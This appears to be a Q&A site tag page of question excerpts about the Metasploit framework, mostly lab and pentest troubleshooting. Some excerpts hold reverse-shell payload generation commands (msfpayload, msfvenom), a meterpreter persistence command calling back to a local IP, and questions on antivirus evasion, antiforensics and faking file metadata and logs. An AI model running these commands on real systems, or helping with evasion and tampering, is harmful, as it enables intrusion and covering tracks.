Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

learn more… | top users | synonyms

0
votes
0answers
36 views

Targeting a specific machine and known setup with Armitage / Metasploit?

Most introductions to armitage / metasploit start with searching for potential targets. But if you want to pen test your own setup then it probably makes more sense to target the specific machine and ...
-1
votes
1answer
57 views

Does it make sense to restrict the usage of Metasploit in Penetration testing exams ? [closed]

In some PT exams (mainly Offensive Security's) they restrict the usage of Metasploit or any automated attacking tool and allow only for manually written\compiled codes from public exploit sites such ...
0
votes
0answers
21 views

idevicerestore installation trouble

Can anyone help me figure out what im doing wrong to install this software? ``` root@kali:~/libimobiledevice# sudo apt-get install libusbmuxd-dev libplist-dev libplist++ Reading package lists... Done ...
1
vote
2answers
50 views

armitage find attack tool cli equivalent command

Ive been using metasploit through the cli and a little through armitage. The tool in armitage to find attacks that gives you attacks that are more likely to work is quite useful, so i was wondering ...
-1
votes
0answers
28 views

Is armitage still a relevant piece of software?

I'm new to computer security and recently came across a software called Armitage which I understand it to be something like a GUI for Metasploit with some additional features and the ability to launch ...
3
votes
1answer
96 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
2
votes
2answers
145 views

Install a vulnerable service for Windows 7

I have some kind of a project or demonstration, where I have to exploit Windows 7 to get a remote shell. I did a vulnerability scan with nessus on my Windows 7 machine, but I didn't find any kind of ...
2
votes
2answers
118 views

Meterpreter session over VPN

I have the following situation: Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled. Victim machine connected to another router, (obviously) different IP ...
1
vote
1answer
43 views

Writing payload into android device listening for adb debug messages

On msfconsole, if I type info exploit/android/adb/adb_server_exec I got on description part the following: Writes and spawns a native payload on an android device that is listening for adb ...
1
vote
0answers
27 views

metasploit search command to fetch one AND another word

Is there a way to use metasploit console to search for 2 words exclusively? For example: search X and Y //I don't know if the syntax is this, of course In a way that will only return exploits that ...
1
vote
1answer
115 views

Kali Linux metasploit and android attack by PAYLOAD

In kali linux 2.0, when I run exploit in msfconsole and the victim opens my payload, how can I force the session to be persistent?
4
votes
1answer
62 views

Armitage check exploit

I am with all fairness not the most experienced penetration tester, I am doing an industry placement where I can improve my skills. I am using Armitage in Kali Linux to check for vulnerabilities in ...
2
votes
0answers
54 views

Rogue Containment on a wired network (mostly)

I work as a security analyst for a large company. The answer must provide remote support. We are currently looking to build a piece of software (integrating existing products with home grown ...
1
vote
1answer
105 views

Can't get into Damn Vulnerable Web App with Hydra even though correct password is supplied

I've got VMware Workstation. I'm running Metasploitable2 and Damn Vulnerable Web App. I'm trying to attack it using Hydra in kali Linux. To save time I made a very small password list and included the ...
1
vote
0answers
58 views

Encrypted Malicious Traffic Database

I was working on a little research project to correctly identify the encrypted traffic pattern generated by various tools/applications for example metasploit (or increase the success rate). I have ...
1
vote
0answers
53 views

Correct metasploit search usage (or bug?)

I just noticed that the metasploit search keyword does not produce results as I'd expect it. If I search e.g. with search platform:linux I get proper results limited to Linux. But if I add ...
2
votes
1answer
112 views

Is my understanding of buffer overflows correct?

I am new to pentesting and wondering if my current understanding of buffer overflow exploits is correct. Assuming an operating address space of 3 addresses, an instruction space of 2 addresses, and an ...
1
vote
3answers
174 views

windows/shell_reverse_tcp exploit is not working if listener is not running already

I am using metasploit to generate a shell_reverse_tcp exploit using following command msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe and on listener side I am using ...
1
vote
0answers
25 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
-3
votes
4answers
288 views

Is it possible to hack a single computer without injecting a payload or a virus? [closed]

I know the ways to hack a computer or a mobile phone by injecting payload using some exploits with metasploit. We can inject a exe, or we can use pdf file, or docx file as I know. I wonder the ...
1
vote
1answer
580 views

ms08_067_netapi not performing as expected on Windows XP SP1/SP3

I tried the exploit with meterpreter reverse tcp on both SP1/SP3 machines and both returned a statement of exploit completed but no session was created. Both machines have firewall off. I want to have ...
0
votes
0answers
40 views

ms03_026_dcom not working on Windows XP Sp1

I have been trying to use metasploit and kali linux when I came across the idea of using windows XP sp1 (checked the service pack with winver.exe on XP). I used the famous ms03_026_dcom and payload of ...
3
votes
2answers
44 views

Is there any downside to always declaring some default bad chars when generating exploits?

When setting the bad chars for shell code, is there any downside to just assuming that you should mark \x00 and \x0a as bad?
3
votes
2answers
90 views

metasploit exploits and payloads documentation

Where can i found the documentation of the exploits and payloads available in metasploit. I am looking for a documentation that tells what does the exploit or the payload do, and possibly a ...
1
vote
1answer
192 views

How to brute force HTTP Basic Authentication requested with XHR?

How can one brute force a website using HTTP Basic authentication using metasploit which uses XHR in background? I am getting error "No URI found that asks for HTTP authentication". Relevant headers ...
2
votes
1answer
60 views

Can I use a domain name instead of an IP for msf persistence?

After getting a shell (meterpreter) on the victim, the first thing to do is to migrate and get the system, and then you would install a persistence to connect back to you. But the problem is the ...
0
votes
0answers
39 views

Encode metasploit

Using metasploit I generated an exploit exploit/windows/fileformat/ms14_017_rtf for windows 7 with windows/shell_reverse_tcp payload. In show advanced, I use option EnableContextEncoding true and it's ...
1
vote
1answer
72 views

Removing remnants of a Metasploit exploit

Is it possible to remove a Metasploit payload/meterpreter from a compromised system? My question is mainly based on antiforensics (Leaving aside Memory forensics which is probably unavoidable but more ...
0
votes
0answers
17 views

msfconsole pipe with external module

Hi I'm new to metasploit and I saw that's come with John the Ripper included. My question is how can I pipe the output with an external module. (e.g aircrack in this case) Like this: john ...
1
vote
2answers
292 views

Using msf to connect to netcat listener and shell_to_meterperter

I've been trying for hours and failing to do something that should be simple! I have a box w/ admin (taking OSCP - nothing illegal). I used an RDP exploit, got a shell, added a user, put user in ...
0
votes
0answers
44 views

meterpreter reverse_https

Today I made a pause on my study guide to research what kind of traffic I'm generating with a few exploits and payloads, and actually I'm more interested in getting real understanding of the traffic ...
1
vote
0answers
51 views

initialAutoRunScript in BrowserAutoPwn2

I am trying to add some custom commands to browserautopwn2. When I get the session using the initialAutoRunScript option like this: msf > set initialautorunscript "upload /root/x.txt %temp%" ...
1
vote
2answers
230 views

Virus-total offline Alternatives [duplicate]

These days I am working on FUDing my own written backdoor, RATs, etc. what is the alternative offline version of virus-total, if I don't want AV companies gaining my virus signature?
0
votes
1answer
91 views

How do I remove a metasploit infection?

My brother in law sent me a link in a Facebook PM for dummy me to click on. I did, nothing happened, I thought nothing of it. Well he told my husband since I clicked on it he can now hack my Facebook ...
1
vote
0answers
104 views

bypass proxy metasploit

I am working on a student project with the goal to exploit navigator vulnerabilities on weak Windows XP SP2 and/or Linux computers using only Metasploit Browser Autopwn 1 & 2. Seems trivial but ...
2
votes
0answers
197 views

importing OpenVAS xml in metasploit

I am practising in my lab with some metasploitable machines, and I just realised that the vulns declared by OpenVAS 6.01 in the scan report aren’t imported in Metasploit 4.11.5 by the db_import ...
22
votes
3answers
4k views

Metasploit Meterpreter alternatives

These days I am testing various type of client hacking techniques, but in all scenarios I am using Meterpreter variations as payload. Now I can bypass Anti-Virus and Firewalls easily, but Symantec ...
-3
votes
1answer
259 views

Metasploit stuck on “Sending backdoor command…”

I am trying to use Metasploit on the Unreal IRCD 3281 backdoor. I have tried with different kinds of payloads but the program gets stuck on the last line: msf exploit(unreal_ircd_3281_backdoor) > ...
-2
votes
2answers
72 views

Metasploitable: vnc_login - doesn't work with msfadmin:msfadmin

I am quite new to Metasploit and pen testing in general, so apologies for any seemingly noobish references below. I am using auxiliary/scanner/vnc/vnc_login, after seeing that the 5900 port is open ...
0
votes
0answers
20 views

Metadata and Adding Files

If a person had files they wish to add to a computer and had physical access to the computer could the docs or emails be added with false metadata to indicate the documents had been added at a ...
0
votes
0answers
21 views

How would you change the log files on a Macbook using Yosemite?

I am a total novice and know nothing about hacking or security. I am a writer. I am trying to figure out the best scenario for adding something to someone's computer. If a person had physical ...
1
vote
3answers
439 views

Windows 7 Exploits

I just found my old, Windows 7 Ultimate installer DVD, so I thought I would set it up in a pentest-lab type environment, see what's possible and have some fun with it. So are there any publicly ...
3
votes
2answers
419 views

How to run exploit/windows/local/bypassuac using AutoRunScript?

Is there a way to run exploits that require parameters, such as the one in the title, using AutoRunScript? I was able to use AutoRunScript to execute some post commands perfectly, such as ...
1
vote
0answers
47 views

The process of using Metasploit to get in Systems [closed]

I am new in metasploit. I get the basic concept of exploiting a system or whatever your trying to do. You find a vulnerability in a system, you use an exploit or make one. Doing that on your local ...
3
votes
1answer
10k views

service metasploit start failed to start metasploit service [closed]

I am trying to setup Metasploit for penetration testing. However first of all I cannot get the database to connect. Also whenever I attempt to start the service using service metasploit start I get ...
2
votes
1answer
2k views

msfvenom payload problem

This is for educational purposes only! I'm trying to generate android payload using msfconsole payload standalone generator: msfvenom with the command msfvenom -p android/shell/reverse_tcp ...
0
votes
0answers
185 views

The pdf embedded exe generating error on the target machine when executed

These are the steps that I performed in order to generate a PDF embedded with exe. Attacker machine (Windows 7): msf > use windows/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST ...
0
votes
1answer
97 views

What is the difference between FTP Brute force with hydra and Metasploit? [closed]

What is the difference between FTP Brute force with hydra and and FTP brute force with Metasploit ?
1
vote
0answers
198 views

Converting Metasploit module to standalone Python script [closed]

How easy is to convert Ruby code to Python code and to change Metasploit module into standalone Python script for Linux?